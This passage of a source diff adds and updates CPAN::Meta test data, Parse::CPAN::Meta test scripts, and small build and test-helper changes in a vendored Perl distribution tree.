+ "generated_by" : "Dist::Zilla version 5.035, CPAN::Meta::Converter version 2.150002",
+ "keywords" : [
+ "plugin",
+ "test",
+ "testing",
+ "author",
+ "development",
+ "whitespace",
+ "newline",
+ "linefeed",
+ "formatting"
+ ],
+ "license" : [
+ "perl_5"
+ ],
+ "meta-spec" : {
+ "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+ "version" : 2
+ },
+ "name" : "Dist-Zilla-Plugin-Test-EOL",
+ "no_index" : {
+ "directory" : [
+ "t",
+ "xt"
+ ]
+ },
+ "prereqs" : {
+ "configure" : {
+ "requires" : {
+ "Module::Build::Tiny" : "0.039",
+ "perl" : "5.006"
+ }
+ },
+ "develop" : {
+ "recommends" : {
+ "Dist::Zilla::PluginBundle::Author::ETHER" : "0.092"
+ },
+ "requires" : {
+ "Dist::Zilla" : "5"
+ }
+ },
+ "runtime" : {
+ "requires" : {
+ "Data::Section" : "0.004",
+ "Dist::Zilla::File::InMemory" : "0",
+ "Dist::Zilla::Role::FileFinderUser" : "0",
+ "Dist::Zilla::Role::FileGatherer" : "0",
+ "Dist::Zilla::Role::FileMunger" : "0",
+ "Dist::Zilla::Role::PrereqSource" : "0",
+ "Dist::Zilla::Role::TextTemplate" : "0",
+ "Moose" : "0",
+ "Moose::Util::TypeConstraints" : "0",
+ "Path::Tiny" : "0",
+ "Sub::Exporter::ForMethods" : "0",
+ "namespace::autoclean" : "0",
+ "perl" : "5.006",
+ "strict" : "0",
+ "warnings" : "0"
+ }
+ },
+ "build" : {
+ "requires" : {
+ "Build::Requires": "1.1",
+ "Test::More" : "0"
+ }
+ },
+ "test" : {
+ "recommends" : {
+ "CPAN::Meta" : "2.120900"
+ },
+ "requires" : {
+ "Test::More" : "0.88",
+ "Test::Requires" : "1.2"
+ }
+ }
+ },
+ "provides" : {
+ "Dist::Zilla::Plugin::EOLTests" : {
+ "file" : "lib/Dist/Zilla/Plugin/EOLTests.pm",
+ "version" : "0.18",
+ "x_deprecated" : 1
+ },
+ "Dist::Zilla::Plugin::Test::EOL" : {
+ "file" : "lib/Dist/Zilla/Plugin/Test/EOL.pm",
+ "version" : "0.18"
+ }
+ },
+ "release_status" : "stable",
+ "resources" : {
+ "bugtracker" : {
+ "mailto" : "bug-Dist-Zilla-Plugin-Test-EOL@rt.cpan.org",
+ "web" : "https://rt.cpan.org/Public/Dist/Display.html?Name=Dist-Zilla-Plugin-Test-EOL"
+ },
+ "homepage" : "https://github.com/karenetheridge/Dist-Zilla-Plugin-Test-EOL",
+ "repository" : {
+ "type" : "git",
+ "url" : "https://github.com/karenetheridge/Dist-Zilla-Plugin-Test-EOL.git",
+ "web" : "https://github.com/karenetheridge/Dist-Zilla-Plugin-Test-EOL"
+ },
+ "x_IRC" : "irc://irc.perl.org/#distzilla",
+ "x_MailingList" : "http://dzil.org/#mailing-list"
+ },
+ "version" : "0.18",
+ "x_Dist_Zilla" : {
+ "perl" : {
+ "version" : "5.021010"
+ },
+ "plugins" : [
+ {
+ "class" : "Dist::Zilla::Plugin::Bootstrap::lib",
+ "config" : {
+ "Dist::Zilla::Role::Bootstrap" : {
+ "try_built" : null
+ }
+ },
+ "name" : "Bootstrap::lib",
+ "version" : "1.001000"
+ },
+ {
+ "class" : "Dist::Zilla::Plugin::VerifyPhases",
+ "name" : "@Author::ETHER/PHASE VERIFICATION",
+ "version" : "0.010"
+ }
+ ],
+ "zilla" : {
+ "class" : "Dist::Zilla::Dist::Builder",
+ "config" : {
+ "is_trial" : ""
+ },
+ "version" : "5.035"
+ }
+ },
+ "x_authority" : "cpan:FLORA",
+ "x_authority_from_module" : "Dist::Zilla::Plugin::Test::EOL",
+ "x_contributors" : [
+ "Olivier Mengue <dolmen@cpan.org>",
+ "Shlomi Fish <shlomif@shlomifish.org>"
+ ],
+ "x_permissions_from_module" : "Dist::Zilla::Plugin::Test::EOL"
+}
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-1_4.yml b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-1_4.yml
new file mode 100644
index 00000000000..fa2dd8ec602
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-1_4.yml
@@ -0,0 +1,49 @@
+---
+X_deep:
+ deep: structure
+abstract: 'Build and install Perl modules'
+author:
+ - 'Ken Williams <kwilliams@cpan.org>'
+ - 'Module-Build List <module-build@perl.org>'
+build_requires:
+ Test::More: '0'
+dynamic_config: 1
+generated_by: 'Module::Build version 0.36, CPAN::Meta::Converter version $VERSION'
+keywords:
+ - toolchain
+ - cpan
+ - dual-life
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: '1.4'
+name: Module-Build
+optional_features:
+ domination:
+ description: 'Take over the world'
+ requires:
+ Machine::Weather: '2.0'
+recommends:
+ Archive::Tar: '1.00'
+ ExtUtils::Install: '0.3'
+ ExtUtils::ParseXS: '2.02'
+ Pod::Text: '0'
+ YAML: '0.35'
+requires:
+ Config: '0'
+ Cwd: '0'
+ Data::Dumper: '0'
+ ExtUtils::Install: '0'
+ File::Basename: '0'
+ File::Compare: '0'
+ File::Copy: '0'
+ File::Find: '0'
+ File::Path: '0'
+ File::Spec: '0'
+ IO::File: '0'
+ perl: '5.006'
+resources:
+ license: http://dev.perl.org/licenses/
+version: '0.36'
+x_authority: cpan:FLORA
+x_serialization_backend: 'CPAN::Meta::YAML version 0.015'
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-2.json b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-2.json
new file mode 100644
index 00000000000..a2b66569ffa
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/META-2.json
@@ -0,0 +1,82 @@
+{
+ "X_deep" : {
+ "deep" : "structure"
+ },
+ "abstract" : "Build and install Perl modules",
+ "author" : [
+ "Ken Williams <kwilliams@cpan.org>",
+ "Module-Build List <module-build@perl.org>"
+ ],
+ "description" : "Module::Build is a system for building, testing, and installing Perl modules. It is meant to be an alternative to ExtUtils::MakeMaker... blah blah blah",
+ "dynamic_config" : 1,
+ "generated_by" : "Module::Build version 0.36",
+ "keywords" : [
+ "toolchain",
+ "cpan",
+ "dual-life"
+ ],
+ "license" : [
+ "perl_5"
+ ],
+ "meta-spec" : {
+ "url" : "http://search.cpan.org/perldoc?CPAN::Meta::Spec",
+ "version" : "2"
+ },
+ "name" : "Module-Build",
+ "optional_features" : {
+ "domination" : {
+ "description" : "Take over the world",
+ "prereqs" : {
+ "develop" : {
+ "requires" : {
+ "Genius::Evil" : "1.234"
+ }
+ },
+ "runtime" : {
+ "requires" : {
+ "Machine::Weather" : "2.0"
+ }
+ }
+ }
+ }
+ },
+ "prereqs" : {
+ "build" : {
+ "requires" : {
+ "Test::More" : "0"
+ }
+ },
+ "runtime" : {
+ "recommends" : {
+ "Archive::Tar" : "1.00",
+ "ExtUtils::Install" : "0.3",
+ "ExtUtils::ParseXS" : "2.02",
+ "Pod::Text" : "0",
+ "YAML" : "0.35"
+ },
+ "requires" : {
+ "Config" : "0",
+ "Cwd" : "0",
+ "Data::Dumper" : "0",
+ "ExtUtils::Install" : "0",
+ "File::Basename" : "0",
+ "File::Compare" : "0",
+ "File::Copy" : "0",
+ "File::Find" : "0",
+ "File::Path" : "0",
+ "File::Spec" : "0",
+ "IO::File" : "0",
+ "perl" : "5.006"
+ }
+ }
+ },
+ "release_status" : "stable",
+ "resources" : {
+ "license" : [
+ "http://dev.perl.org/licenses/"
+ ]
+ },
+ "version" : "0.36",
+ "x_authority" : "cpan:FLORA",
+ "x_serialization_backend" : "JSON::PP version 2.27300"
+}
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/x_deprecated-META.yml b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/x_deprecated-META.yml
new file mode 100644
index 00000000000..ac05fde95be
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/data-valid/x_deprecated-META.yml
@@ -0,0 +1,91 @@
+---
+abstract: 'Author tests making sure correct line endings are used'
+author:
+ - 'Florian Ragwitz <rafl@debian.org>'
+ - 'Caleb Cushing <xenoterracide@gmail.com>'
+ - 'Karen Etheridge <ether@cpan.org>'
+build_requires:
+ Build::Requires: '1.1'
+ Test::More: '0.88'
+ Test::Requires: '1.2'
+configure_requires:
+ Module::Build::Tiny: '0.039'
+ perl: '5.006'
+dynamic_config: 0
+generated_by: 'Dist::Zilla version 5.035, CPAN::Meta::Converter version 2.150002'
+keywords:
+ - plugin
+ - test
+ - testing
+ - author
+ - development
+ - whitespace
+ - newline
+ - linefeed
+ - formatting
+license: perl
+meta-spec:
+ url: http://module-build.sourceforge.net/META-spec-v1.4.html
+ version: '1.4'
+name: Dist-Zilla-Plugin-Test-EOL
+no_index:
+ directory:
+ - t
+ - xt
+provides:
+ Dist::Zilla::Plugin::EOLTests:
+ file: lib/Dist/Zilla/Plugin/EOLTests.pm
+ version: '0.18'
+ x_deprecated: 1
+ Dist::Zilla::Plugin::Test::EOL:
+ file: lib/Dist/Zilla/Plugin/Test/EOL.pm
+ version: '0.18'
+requires:
+ Data::Section: '0.004'
+ Dist::Zilla::File::InMemory: '0'
+ Dist::Zilla::Role::FileFinderUser: '0'
+ Dist::Zilla::Role::FileGatherer: '0'
+ Dist::Zilla::Role::FileMunger: '0'
+ Dist::Zilla::Role::PrereqSource: '0'
+ Dist::Zilla::Role::TextTemplate: '0'
+ Moose: '0'
+ Moose::Util::TypeConstraints: '0'
+ Path::Tiny: '0'
+ Sub::Exporter::ForMethods: '0'
+ namespace::autoclean: '0'
+ perl: '5.006'
+ strict: '0'
+ warnings: '0'
+resources:
+ IRC: irc://irc.perl.org/#distzilla
+ MailingList: http://dzil.org/#mailing-list
+ bugtracker: https://rt.cpan.org/Public/Dist/Display.html?Name=Dist-Zilla-Plugin-Test-EOL
+ homepage: https://github.com/karenetheridge/Dist-Zilla-Plugin-Test-EOL
+ repository: https://github.com/karenetheridge/Dist-Zilla-Plugin-Test-EOL.git
+version: '0.18'
+x_Dist_Zilla:
+ perl:
+ version: '5.021010'
+ plugins:
+ -
+ class: Dist::Zilla::Plugin::Bootstrap::lib
+ config:
+ Dist::Zilla::Role::Bootstrap:
+ try_built: ~
+ name: Bootstrap::lib
+ version: '1.001000'
+ -
+ class: Dist::Zilla::Plugin::VerifyPhases
+ name: '@Author::ETHER/PHASE VERIFICATION'
+ version: '0.010'
+ zilla:
+ class: Dist::Zilla::Dist::Builder
+ config:
+ is_trial: ''
+ version: '5.035'
+x_authority: cpan:FLORA
+x_authority_from_module: Dist::Zilla::Plugin::Test::EOL
+x_contributors:
+ - 'Olivier Mengue <dolmen@cpan.org>'
+ - 'Shlomi Fish <shlomif@shlomifish.org>'
+x_permissions_from_module: Dist::Zilla::Plugin::Test::EOL
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/lib/Parse/CPAN/Meta/Test.pm b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/lib/Parse/CPAN/Meta/Test.pm
new file mode 100644
index 00000000000..e63920bec32
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/lib/Parse/CPAN/Meta/Test.pm
@@ -0,0 +1,85 @@
+package Parse::CPAN::Meta::Test;
+
+use strict;
+use Test::More ();
+use Parse::CPAN::Meta;
+use File::Spec;
+
+use vars qw{@ISA @EXPORT};
+BEGIN {
+ require Exporter;
+ @ISA = qw{ Exporter };
+ @EXPORT = qw{
+ tests yaml_ok yaml_error slurp load_ok
+ test_data_directory
+ };
+}
+
+sub test_data_directory {
+ return( "corpus" );
+}
+
+# 22 tests per call to yaml_ok
+# 4 tests per call to load_ok
+sub tests {
+ return ( tests => count(@_) );
+}
+
+sub count {
+ my $yaml_ok = shift || 0;
+ my $load_ok = shift || 0;
+ my $single = shift || 0;
+ my $count = $yaml_ok * 3 + $load_ok * 4 + $single;
+ return $count;
+}
+
+sub yaml_ok {
+ my $string = shift;
+ my $array = shift;
+ my $name = shift || 'unnamed';
+
+ # Does the string parse to the structure
+ my $yaml_copy = $string;
+ my @yaml = eval { Parse::CPAN::Meta::Load( $yaml_copy ); };
+ Test::More::is( $@, '', "$name: Parse::CPAN::Meta parses without error" );
+ Test::More::is( $yaml_copy, $string, "$name: Parse::CPAN::Meta does not modify the input string" );
+ SKIP: {
+ Test::More::skip( "Shortcutting after failure", 1 ) if $@;
+ Test::More::is_deeply( \@yaml, $array, "$name: Parse::CPAN::Meta parses correctly" );
+ }
+
+ # Return true as a convenience
+ return 1;
+}
+
+sub yaml_error {
+ my $string = shift;
+ my $yaml = eval { Parse::CPAN::Meta::Load( $string ); };
+ Test::More::like( $@, qr/$_[0]/, "CPAN::Meta::YAML throws expected error" );
+}
+
+sub slurp {
+ my $file = shift;
+ my $layer = shift;
+ $layer = "" unless defined $layer;
+ local $/ = undef;
+ open my $fh, "<$layer", $file or die "open($file) failed: $!";
+ my $source = <$fh>;
+ close( $fh ) or die "close($file) failed: $!";
+ $source;
+}
+
+sub load_ok {
+ my $name = shift;
+ my $file = shift;
+ my $size = shift;
+ my $layer = shift;
+ Test::More::ok( -f $file, "Found $name" ) or Test::More::diag("Searched at '$file'");
+ Test::More::ok( -r $file, "Can read $name" );
+ my $content = slurp( $file, $layer );
+ Test::More::ok( (defined $content and ! ref $content), "Loaded $name" );
+ Test::More::ok( ($size < length $content), "Content of $name larger than $size bytes" );
+ return $content;
+}
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/optional_feature-merge.t b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/optional_feature-merge.t
index 76ea9640d5f..7036cdc4efc 100644
--- a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/optional_feature-merge.t
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/optional_feature-merge.t
@@ -5,6 +5,11 @@ use Test::More;
use CPAN::Meta;
use CPAN::Meta::Merge;
+delete $ENV{PERL_YAML_BACKEND};
+delete $ENV{PERL_JSON_BACKEND};
+delete $ENV{CPAN_META_JSON_BACKEND};
+delete $ENV{CPAN_META_JSON_DECODER};
+
my %base = (
abstract => 'This is a test',
author => ['A.U. Thor'],
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/02_api.t b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/02_api.t
new file mode 100644
index 00000000000..c0ee52d936e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/02_api.t
@@ -0,0 +1,220 @@
+#!/usr/bin/perl
+
+delete $ENV{PERL_YAML_BACKEND};
+delete $ENV{PERL_JSON_BACKEND};
+delete $ENV{CPAN_META_JSON_BACKEND};
+delete $ENV{CPAN_META_JSON_DECODER};
+
+# Testing of a known-bad file from an editor
+
+use strict;
+BEGIN {
+ $| = 1;
+ $^W = 1;
+}
+
+use lib 't/lib';
+use File::Spec::Functions ':ALL';
+use Parse::CPAN::Meta;
+use Parse::CPAN::Meta::Test;
+# use Test::More skip_all => 'Temporarily ignoring failing test';
+use Test::More 'no_plan';
+use utf8;
+
+#####################################################################
+# Testing that Perl::Smith config files work
+
+my $want = {
+ "abstract" => "a set of version requirements for a CPAN dist",
+ "author" => [ 'Ricardo Signes <rjbs@cpan.org>' ],
+ "build_requires" => {
+ "Test::More" => "0.88"
+ },
+ "configure_requires" => {
+ "ExtUtils::MakeMaker" => "6.31"
+ },
+ "generated_by" => "Dist::Zilla version 2.100991",
+ "license" => "perl",
+ "meta-spec" => {
+ "url" => "http://module-build.sourceforge.net/META-spec-v1.4.html",
+ "version" => 1.4
+ },
+ "name" => "Version-Requirements",
+ "recommends" => {},
+ "requires" => {
+ "Carp" => "0",
+ "Scalar::Util" => "0",
+ "version" => "0.77"
+ },
+ "resources" => {
+ "repository" => "git://git.codesimply.com/Version-Requirements.git"
+ },
+ "version" => "0.101010",
+ "x_contributors" => [
+ "Dagfinn Ilmari Mannsåker <ilmari\@ilmari.org>",
+ ],
+};
+
+my $meta_json = catfile( test_data_directory(), 'META-VR.json' );
+my $meta_yaml = catfile( test_data_directory(), 'META-VR.yml' );
+my $bare_yaml_meta = catfile( test_data_directory(), 'bareyaml.meta' );
+my $bad_yaml_meta = catfile( test_data_directory(), 'BadMETA.yml' );
+my $CL018_yaml_meta = catfile( test_data_directory(), 'CL018_yaml.meta' );
+
+# These test YAML/JSON detection without the typical file name suffix
+my $yaml_meta = catfile( test_data_directory(), 'yaml.meta' );
+my $json_meta = catfile( test_data_directory(), 'json.meta' );
+
+### YAML tests
+{
+ local $ENV{PERL_YAML_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get CPAN::META::YAML
+
+ is(Parse::CPAN::Meta->yaml_backend(), 'CPAN::Meta::YAML', 'yaml_backend(): CPAN::Meta::YAML');
+ my $from_yaml = Parse::CPAN::Meta->load_file( $meta_yaml );
+ is_deeply($from_yaml, $want, "load from YAML file results in expected data");
+}
+
+{
+ local $ENV{PERL_YAML_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get CPAN::META::YAML
+
+ note '';
+ is(Parse::CPAN::Meta->yaml_backend(), 'CPAN::Meta::YAML', 'yaml_backend(): CPAN::Meta::YAML');
+ my $from_yaml = Parse::CPAN::Meta->load_file( $yaml_meta );
+ is_deeply($from_yaml, $want, "load from YAML .meta file results in expected data");
+}
+
+{
+ local $ENV{PERL_YAML_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get CPAN::META::YAML
+
+ note '';
+ is(Parse::CPAN::Meta->yaml_backend(), 'CPAN::Meta::YAML', 'yaml_backend(): CPAN::Meta::YAML');
+ my $from_yaml = Parse::CPAN::Meta->load_file( $bare_yaml_meta );
+ is_deeply($from_yaml, $want, "load from bare YAML .meta file results in expected data");
+}
+
+{
+ local $ENV{PERL_YAML_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get CPAN::META::YAML
+
+ note '';
+ is(Parse::CPAN::Meta->yaml_backend(), 'CPAN::Meta::YAML', 'yaml_backend(): CPAN::Meta::YAML');
+ my $from_yaml = Parse::CPAN::Meta->load_file( $CL018_yaml_meta );
+ like($from_yaml->{x_contributors}[5], qr/Olivier Mengu/, "Open question: what to expect from double encoded UTF-8");
+}
+
+{
+ local $ENV{PERL_YAML_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get CPAN::META::YAML
+
+ note '';
+ is(Parse::CPAN::Meta->yaml_backend(), 'CPAN::Meta::YAML', 'yaml_backend(): CPAN::Meta::YAML');
+ my $yaml = load_ok( $meta_yaml, $meta_yaml, 100, ":encoding(UTF-8)");
+ my $from_yaml = Parse::CPAN::Meta->load_yaml_string( $yaml );
+ is_deeply($from_yaml, $want, "load from YAML str results in expected data");
+}
+
+{
+ local $ENV{PERL_YAML_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get CPAN::META::YAML
+
+ note '';
+ is(Parse::CPAN::Meta->yaml_backend(), 'CPAN::Meta::YAML', 'yaml_backend(): CPAN::Meta::YAML');
+ my @yaml = Parse::CPAN::Meta::LoadFile( $bad_yaml_meta );
+ is($yaml[0]{author}[0], 'Olivier Mengu\xE9', "Bad UTF-8 is replaced");
+}
+
+
+SKIP: {
+ note '';
+ skip 'these tests are for cpan builds only', 2 if $ENV{PERL_CORE};
+ skip "YAML module not installed", 2
+ unless eval "require YAML; 1";
+ local $ENV{PERL_YAML_BACKEND} = 'YAML';
+
+ is(Parse::CPAN::Meta->yaml_backend(), 'YAML', 'yaml_backend(): YAML');
+ my $yaml = load_ok( $meta_yaml, $meta_yaml, 100, ":encoding(UTF-8)");
+ my $from_yaml = Parse::CPAN::Meta->load_yaml_string( $yaml );
+ is_deeply($from_yaml, $want, "load_yaml_string using PERL_YAML_BACKEND");
+}
+
+### JSON tests
+{
+ # JSON tests with JSON::PP
+ local $ENV{PERL_JSON_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get JSON::PP
+
+ note '';
+ is(Parse::CPAN::Meta->json_backend(), 'JSON::PP', 'json_backend(): JSON::PP');
+ my $from_json = Parse::CPAN::Meta->load_file( $meta_json );
+ is_deeply($from_json, $want, "load from JSON file results in expected data");
+}
+
+{
+ # JSON tests with JSON::PP
+ local $ENV{PERL_JSON_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get JSON::PP
+
+ note '';
+ is(Parse::CPAN::Meta->json_backend(), 'JSON::PP', 'json_backend(): JSON::PP');
+ my $from_json = Parse::CPAN::Meta->load_file( $json_meta );
+ is_deeply($from_json, $want, "load from JSON .meta file results in expected data");
+}
+
+{
+ # JSON tests with JSON::PP
+ local $ENV{PERL_JSON_BACKEND} if not $ENV{PERL_CORE}; # ensure we always get JSON::PP
+
+ note '';
+ is(Parse::CPAN::Meta->json_backend(), 'JSON::PP', 'json_backend(): JSON::PP');
+ my $json = load_ok( $meta_json, $meta_json, 100, "encoding(UTF-8)");
+ my $from_json = Parse::CPAN::Meta->load_json_string( $json );
+ is_deeply($from_json, $want, "load from JSON str results in expected data");
+}
+
+{
+ # JSON tests with JSON::PP, take 2
+ local $ENV{PERL_JSON_BACKEND} = 0 if not $ENV{PERL_CORE}; # request JSON::PP
+
+ note '';
+ is(Parse::CPAN::Meta->json_backend(), 'JSON::PP', 'json_backend(): JSON::PP');
+ my $json = load_ok( $meta_json, $meta_json, 100, ":encoding(UTF-8)");
+ my $from_json = Parse::CPAN::Meta->load_json_string( $json );
+ is_deeply($from_json, $want, "load_json_string with PERL_JSON_BACKEND = 0");
+}
+
+{
+ # JSON tests with JSON::PP, take 3
+ local $ENV{PERL_JSON_BACKEND} = 'JSON::PP' if not $ENV{PERL_CORE}; # request JSON::PP
+
+ note '';
+ is(Parse::CPAN::Meta->json_backend(), 'JSON::PP', 'json_backend(): JSON::PP');
+ my $json = load_ok( $meta_json, $meta_json, 100, ":encoding(UTF-8)");
+ my $from_json = Parse::CPAN::Meta->load_json_string( $json );
+ is_deeply($from_json, $want, "load_json_string with PERL_JSON_BACKEND = 'JSON::PP'");
+}
+
+SKIP: {
+ # JSON tests with fake backend
+
+ note '';
+ skip 'these tests are for cpan builds only', 2 if $ENV{PERL_CORE};
+
+ { package MyJSONThingy; $INC{'MyJSONThingy.pm'} = __FILE__; require JSON::PP;
+ sub decode_json { JSON::PP::decode_json(@_) } }
+
+ local $ENV{CPAN_META_JSON_DECODER} = 'MyJSONThingy'; # request fake backend
+
+ is(Parse::CPAN::Meta->json_decoder(), 'MyJSONThingy', 'json_decoder(): MyJSONThingy');
+ my $json = load_ok( $meta_json, $meta_json, 100, ":encoding(UTF-8)");
+ my $from_json = Parse::CPAN::Meta->load_json_string( $json );
+ is_deeply($from_json, $want, "load_json_string with PERL_JSON_DECODER = 'MyJSONThingy'");
+}
+
+SKIP: {
+ note '';
+ skip 'these tests are for cpan builds only', 2 if $ENV{PERL_CORE};
+ skip "JSON module version 2.5 not installed", 2
+ unless eval "require JSON; JSON->VERSION(2.5); 1";
+ local $ENV{PERL_JSON_BACKEND} = 1;
+
+ is(Parse::CPAN::Meta->json_backend(), 'JSON', 'json_backend(): JSON');
+ my $json = load_ok( $meta_json, $meta_json, 100, ":encoding(UTF-8)");
+ my $from_json = Parse::CPAN::Meta->load_json_string( $json );
+ is_deeply($from_json, $want, "load_json_string with PERL_JSON_BACKEND = 1");
+}
+
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/03_functions.t b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/03_functions.t
new file mode 100644
index 00000000000..5f6d1d8732e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/03_functions.t
@@ -0,0 +1,33 @@
+#!/usr/bin/perl
+
+delete $ENV{PERL_YAML_BACKEND};
+delete $ENV{PERL_JSON_BACKEND};
+
+# Testing of basic document structures
+
+use strict;
+BEGIN {
+ $| = 1;
+ $^W = 1;
+}
+
+use Test::More tests => 2;
+use Parse::CPAN::Meta ();
+
+my $one = <<'END_YAML';
+---
+- foo
+END_YAML
+
+my $two = <<'END_YAML';
+---
+- foo
+---
+- bar
+END_YAML
+
+my $one_scalar_tiny = Parse::CPAN::Meta::Load( $one );
+my $two_scalar_tiny = Parse::CPAN::Meta::Load( $two );
+
+is_deeply( $one_scalar_tiny, [ 'foo' ], 'one: Parsed correctly' );
+is_deeply( $two_scalar_tiny, [ 'bar' ], 'two: Parsed correctly' );
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/04_export.t b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/04_export.t
new file mode 100644
index 00000000000..b4766aa5582
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/04_export.t
@@ -0,0 +1,22 @@
+#!/usr/bin/perl
+
+delete $ENV{PERL_YAML_BACKEND};
+delete $ENV{PERL_JSON_BACKEND};
+
+# Testing of basic document structures
+
+use strict;
+BEGIN {
+ $| = 1;
+ $^W = 1;
+}
+
+use Test::More tests => 4;
+use Parse::CPAN::Meta;
+
+
+
+ok not(defined &main::Load), 'Load is not exported';
+ok not(defined &main::Dump), 'Dump is not exported';
+ok not(defined &main::LoadFile), 'LoadFile is not exported';
+ok not(defined &main::DumpFile), 'DumpFile is not exported';
diff --git a/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/05_errors.t b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/05_errors.t
new file mode 100644
index 00000000000..671d73bce07
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/CPAN-Meta/t/parse-cpan-meta/05_errors.t
@@ -0,0 +1,24 @@
+#!/usr/bin/perl
+
+delete $ENV{PERL_YAML_BACKEND};
+delete $ENV{PERL_JSON_BACKEND};
+
+# Testing of basic document structures
+
+use strict;
+BEGIN {
+ $| = 1;
+ $^W = 1;
+}
+
+use Test::More tests => 1;
+use Parse::CPAN::Meta ();
+
+my $one = <<'END_YAML';
+---
+- foo: - bar
+END_YAML
+
+my $one_scalar_tiny = eval { Parse::CPAN::Meta->load_yaml_string( $one ) };
+like( $@, '/illegal characters/', "error causes exception");
+
diff --git a/gnu/usr.bin/perl/cpan/CPAN/lib/CPAN/Plugin.pm b/gnu/usr.bin/perl/cpan/CPAN/lib/CPAN/Plugin.pm
index 646d86b2cc9..77ad19b7763 100644
--- a/gnu/usr.bin/perl/cpan/CPAN/lib/CPAN/Plugin.pm
+++ b/gnu/usr.bin/perl/cpan/CPAN/lib/CPAN/Plugin.pm
@@ -3,7 +3,7 @@ package CPAN::Plugin;
use strict;
use warnings;
-our $VERSION = '0.95';
+our $VERSION = '0.96';
require CPAN;
@@ -94,8 +94,8 @@ CPAN::Plugin - Base class for CPAN shell extensions
=head1 SYNOPSIS
- package My::Plugin;
- use base 'CPAN::Plugin';
+ package CPAN::Plugin::Flurb;
+ use parent 'CPAN::Plugin';
sub post_test {
my ($self, $distribution_object) = @_;
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/Makefile.PL b/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/Makefile.PL
index efcdf3f6135..246259d3350 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/Makefile.PL
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/Makefile.PL
@@ -3,6 +3,7 @@
use strict ;
require 5.006 ;
+use lib '.';
use private::MakeUtil;
use ExtUtils::MakeMaker 5.16 ;
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/t/compress/CompTestUtils.pm b/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/t/compress/CompTestUtils.pm
index 9815eb2caaa..da238e15d27 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/t/compress/CompTestUtils.pm
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Bzip2/t/compress/CompTestUtils.pm
@@ -70,8 +70,8 @@ BEGIN {
our ($index);
$index = '00000';
- our ($useTempFile) = defined &File::Temp::tempdir;
- our ($useTempDir) = defined &File::Temp::newdir;
+ our ($useTempFile);
+ our ($useTempDir);
sub new
{
@@ -115,7 +115,12 @@ BEGIN {
# autogenerate the name if none supplied
$_ = "tmpdir" . $$ . "X" . $index ++ . ".tmp" ;
}
- foreach (@_) { rmtree $_; mkdir $_, 0777 }
+ foreach (@_)
+ {
+ rmtree $_, {verbose => 0, safe => 1}
+ if -d $_;
+ mkdir $_, 0777
+ }
bless [ @_ ], $self ;
}
@@ -126,7 +131,11 @@ BEGIN {
if (! $useTempFile)
{
my $self = shift ;
- foreach (@$self) { rmtree $_ }
+ foreach (@$self)
+ {
+ rmtree $_, {verbose => 0, safe => 1}
+ if -d $_ ;
+ }
}
}
}
diff --git a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/Makefile.PL b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/Makefile.PL
index 015c1d9a135..31f3197be8d 100644
--- a/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/Makefile.PL
+++ b/gnu/usr.bin/perl/cpan/Compress-Raw-Zlib/Makefile.PL
@@ -3,6 +3,7 @@
use strict ;
require 5.006 ;
+use lib '.';
use private::MakeUtil;
use ExtUtils::MakeMaker 5.16 ;
use ExtUtils::Install (); # only needed to check for version
@@ -20,6 +21,9 @@ if ($Config{'gccversion'} and $OPTIMIZE =~ /-g (gdb)? 3/x) {
$OPTIMIZE =~ s/-g(gdb)?3/-g/g; # [88936] out of memory with -g3 since 2.062
}
